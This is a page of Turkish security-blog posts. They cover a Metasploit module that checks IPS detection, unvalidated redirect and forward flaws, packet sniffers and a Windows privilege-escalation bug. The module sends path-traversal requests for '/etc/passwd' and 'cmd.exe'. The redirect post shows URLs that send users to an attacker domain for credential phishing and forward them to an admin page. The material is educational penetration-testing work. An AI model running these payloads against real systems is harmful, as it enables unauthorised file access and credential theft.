    OptString.new('SeçenekAdı’', [ true,  "Seçenek Tanımı", 'Varsayılan değeri’']) satırı eklenerek string tipinde yeni bir seçenek oluşturmak mümkün. Aynı şekilde tamsayı tipinde bir parametre için OptInt.new veya mantıksal bir parametre için OptBool.new kullanılabilir.
    Üçüncü bölüm ise run komutu çalıştırıldığında esas işi yapacak kısımdır.

    def run
            urllist=[
                '../../../etc/passwd',
                'etc/passwd',
                '../../../cmd.exe',
                'cmd.exe']

            urllist.each do |url|
                begin              
                    res = send_request_raw(
                    {
                            'method'=> 'GET',
                            'uri'=> url
                    })

                    if res
                        print_good("No IPS! for #{url}")
                    else
                        print_status("IPS(no response) detected for #{url}")
                    end
                rescue Errno::ECONNRESET
                    print_status("IPS(rst) detected for #{url}")
                rescue Exception
                    print_error("Connection failed.")
             end
            end
        end
    Bu bölümde önce gönderilecek isteklerin listesi oluşturuluyor. (Bu isteklerin seçeneklerden alınacak bir dosyadan okunması daha kullanışlı olur ancak konudan sapmamak adına bu şekilde bırakılmıştır.) Daha sonra bu listedeki her bir eleman için send_raw_request metodu ile http isteği gönderilip eğer bir http cevabı dönerse (if res kısmında ) o istek için engelleme olmadığını ekrana iyi haber olarak yazılıyor. Eğer hiçbir cevap dönmezse (else kısmında) bilgi olarak bir engelleme olduğu bildiriliyor.
    Eğer bağlantı sırasında beklenmeyen bir RST gelirse o da istisna olarak yakalanıp (rescue Errno::ECONNRESET kısmında) ekrana yazılıyor. Eğer bilinmeyen(ya da ilgili olmayan) bir şekilde bağlantı koparsa da (rescue Exception kısmında) bağlantı hatası olarak ekrana yazılıyor.

    Modülleri Metasploit’e yüklemek için eğer konsol daha önce açıldıysa load veya loadpath komutları ya da açılışta yüklemek için msfconsole komutu -m parametresiyle (msfconsole -m ~/.msf4/modules) kullanılabilir. Daha önceden yüklenmiş bir modül üzerinde yapılan değişikliğin geçerli olması için reload komutu ile tekrar yüklenebilir. Modül yazarken reload ve run komutlarının birleşimi olan rerun komutu da kestirme olması açısından kullanılabilir. Modülün üç örnek durum için çıktısı şu şekildedir.

    Modül yazmaya başlamadan önce diğer modül yazarlarının sık yaptığı hataları görmek adına https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Bad-Coding-Practice adresine göz atılmasında fayda var.

    ips_check.rb
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    #   http://metasploit.com/
    ##

    require 'msf/core'

    class Metasploit4 < Msf::Auxiliary
        include Msf::Exploit::Remote::HttpClient

        def initialize
            super(
                'Name'        => 'IPS Check',
                'Version'     => '$Revision: 1 $',
                'Description' => 'IPS check by malicious GET requests',
                'Author'      => 'Onur Alanbel',
                'License'     => MSF_LICENSE,
            )
            register_options(
                [
                    Opt::RPORT(80)
                ], self.class
            )
        end

        def run
            urllist=[
                '../../../etc/passwd',
                'etc/passwd',
                '../../../cmd.exe',
                'cmd.exe']

            urllist.each do |url|
                begin               
                    res = send_request_raw(
                    {
                            'method'=> 'GET',
                            'uri'=> url
                    })

                    if res
                        print_good("No IPS! for #{url}")
                    else
                        print_status("IPS(no response) detected for #{url}")
                    end
                rescue Errno::ECONNRESET
                    print_status("IPS(rst) detected for #{url}")
                rescue Exception
                    print_error("Connection failed.")
                end
            end
        end
    end

    31 Ocak 2014

    Doğrulanmayan yönlendirme ve iletme açıklığı

    Posted by: Fırat Celal Erdik 31 Ocak 2014
    İlgili açıklık OWASP listesinde en sık karşılaşılan web uygulama güvenlik açıklıkları listesinde 10. sırada bulunmaktadır. Unvalidated Redirect ve Unvalidated Forward işlemleri birbirinden farklı iki durumdur. Temelde redirect işleminde uzak bir uygulamaya erişim gerçekleştirilirken, forwarding işleminde local uygulamanın bir dosyasına erişim söz konusudur.

    Doğrulanmamış yönlendirmeler ile mevcut uygulama parametreleri değiştirilerek uygulamanın farklı içeriklere yönlendirilmesi sağlanılabilmektedir. Zararlı yazılım bulaştırma veya sosyal mühendislik yöntemleri kullanılarak çeşitli saldırılar gerçekleştirilebilir. Temelde kullanıcı girdilerinin kontrolsüz kullanımından kaynaklanmaktadır. Girdilerin önceden oluşturulmuş bir whitelist içeriği ile kıyaslanarak yönlendirme işlemine tabi tutulması gerekmektedir.
    Test edilen bir web uygulamasının ilgili açıklığı barındırıp barındırmadığının tespiti için temelde bakılması gereken noktalar aşağıdaki gibidir.

    1.  Kaynak koda erişim mümkünse mevcut parametrelerin yaptığı yönlendirme için bir whitelist oluşuturulup oluşturulmadığı incelenebilir. Sadece whitelist içersindeki bağlantılara yönlendirme gerçekleştirilsin gibi bir geliştirme yok ise uygulama açıklığı barındırdığı söylenebilir.
    2.     Uygulama crawl edilerek http response kodları incelenerek redirect yapılan bölümler tespit edilebilir. En sık kullanılan yönlendirme http response kodu 302’dir. 300-307 arasındaki kodlardan herhangi biride kullanılabilmektedir. İlgili http response kodlarından biriyle karşılaşılması durumunda farklı girdiler sisteme sağlanarak açıklık test edilebilir.
    3.     Kod denetimi yapılmadan doğrudan uzak bir göz ile uygulama test edilmekte ise doğrudan mevcut tüm parametreler için yönlendirme veya forwarding yapılıp yapılmadığı incelenmeli. Bu şekilde açıklığı barındıran parametreler tespit edilebilir.

    Aşağıdaki URL üzerindeki ‘r’ parametresinin ilgili açıklığı üzerinde barındırıp barındırmadığının tespiti için referans gösterilen bağlantı değiştirilerek yönlendirmenin yapılıp yapılmadığı tespit edilebilir.

    URL: http://testphp.vulnweb.com/redir.php?r=http://www.networkpentest.net/

    Doğrulanmamış bir yönlendirmeye açık bir uygulama aşağıdaki gibi farklı bir uygulamaya yönlendirme gerçekleşecektir. Biz örneğimizde networkpentest.net domainine yönlendirdik.



    Bu tarz açıklıklar istismar edilerek kullanıcıların çeşitli zararlı yazılımlar içeren sitelere yönlendirilmeleri sağlanabilir. Bu şekilde zararlı yazılımların kullanıcı bilgisayarlarına bulaştırılarak sistemler ele geçirilebilir.  Veya çeşitli sosyal mühendislik saldırıları(eposta, sosyal paylaşım siteleri vs.) ile kullanıcılara bu bağlantılar ziyaret ettirilerek NTLM auth. benzeri kimlik doğrulama ekranları çıkarılarak kullanıcı hesaplarının girilmesi sağlanabilir.
    Örneğimizde masum kullanıcı testphp.vulnweb.com sitesine girdiğini düşünerek karşılaştığı uyarı ve kullanıcı hesabı talep eden sayfalara güvenerek çeşitli bilgilerini paylaşabilirler. Veya sistemine zararlı bulaştırabilir. Benzer bir durum aşağıda gerçekleştirilmiştir.

    URL: http://testphp.vulnweb.com/redir.php?r=http://www.saldirgandomain.com/givemeyourpass



     Bağlantısı ziyaret edildiğinde testphp.vulnweb.com uygulamasından bağımsız bir uygulamanın kullanıldığı görülebilir.

    Bu şekilde bir saldırı ile kullanıcıdan domain kullanıcı adı ve parolası talep edilebilir. Buraya kadarki bahsedilenler doğrulanmayan bir girdinin uygulamada yönlendirme(redirect) işlemi gerçekleştirme işlemine değinildi. Birde uygulamanın belli bir parameter ile forward(iletme) işlemini gerçekleştiren uygulama parametrelerinin mevcut olduğu doğrulanmayan iletimlerin sebep olduğu güvenlik açıklıkları mevcuttur. Burada ki işlem yönlendirmenin aksine uygulamanın parametre olarak aldığı dosyaya iletilmesi işlemidir.  Aşağıdaki örnekte ilgili bağlantı uygulamayı index.php dosyasına iletilmektedir.


    URL: http://testphp.vulnweb.com/forward.php?r=index.php

    Bu bağlantı gerekli erişim kontrollerinin sağlanılmamış olması durumunda kimlik doğrulama gerektiren sayfalara yetkisiz erişimlere sebep olabilmektedir.

    Manipule URL: http://testphp.vulnweb.com/forward.php?r=admin.php

    Aşağıdaki gibi bir kullanım ile uygulama üzerindeki admin.php dosyası çağrılarak uygulamanın admin paneline erişim elde edilebilir.

    Bu türdeki güvenlik açıklıklarını önlemek için olabildiğince redirect ve forwarding işlemleri kullanılmamaya çalışılmalıdır. Kullanılması gerekmesi durumunda whitelist benzeri bir listedeki bağlantılara yönlendirme gerçekleştirilmeli bunun dışındakiler için farklı bir eyleme tabi(anasayfaya yönlendirme,hata mesajı vs.) tutulmalıdır. Forwarding işlemlerinde ise kullanıcıların erişmeye çalıştığı sayfaların yetkilendiri dahilinde olup olmadığı control edilmeli aksi durumda kimlik doğrulama işlemine tabi tutulmalıdırlar.

    30 Ocak 2014

    Paket yakalayıcılar daha çok belirtilen ağ arayüzüne gelen giden trafiğin analizinin gerçekleştirilmesinde kullanılan araçlardır. Özellikle detaylı trafik inceleme yetenekleri ile ağ sorunlarının çözümünde ingiliz anahtarı vazifesi görmektedirler.

    Belirtilen ağ arayüzüne gelen, giden trafiği detaylı analiz etme , trafik kaydetme vs. özellikleri güvenlik gerekçeleri nedeni ile tehlikeli olabilmektedirler. Linux/Unix dünyasında bu amaç için en çok kullanılan yazılımlar tcpdump, wireshark, tshark olarak göze çarpmaktadır.

    28 Ocak 2014

    Windows EPATHOBJ üzerinden metasploit ile yetki yükseltme

    Posted by: Barkın Kılıç 28 Ocak 2014
    Yakın zamanda Seclist mail listelerinde yayınlanan yetkisiz bir kullanıcının sistem yöneticisi yetkilerine kendisini dikey olarak yükseltmesini sağlayan bir zafiyeti halka açık olarak bildiriyordu. Win32k.sys içindeki EPATHOBJ::pprFlattenRec fonksiyonu düzgün bir şekilde sonraki obje için işaretçi döndüremediğinden kaynaklanan bu zafiyeti Microsoft'a bildirmek yerine bunu topluluk ile paylaşmayı seçen Tavis Ormand adındaki güvenlik uzmanı güvenlik denetmenlerini sevindirsede Microsoft tarafında bu durum çokta iyi karşılanmadı.  Beraberinde proof-of-concept dediğimiz zafiyet kanıtlamak amaçlı çalışan bir exploit kaynak koduda paylaşmıştı. Hala daha 0 gün açıklığı olarak bulunmakta.
    Makalelerin kötüye kullanım kullanıcının sorumluluğundadır. | networkpentest.net. Powered by Blogger.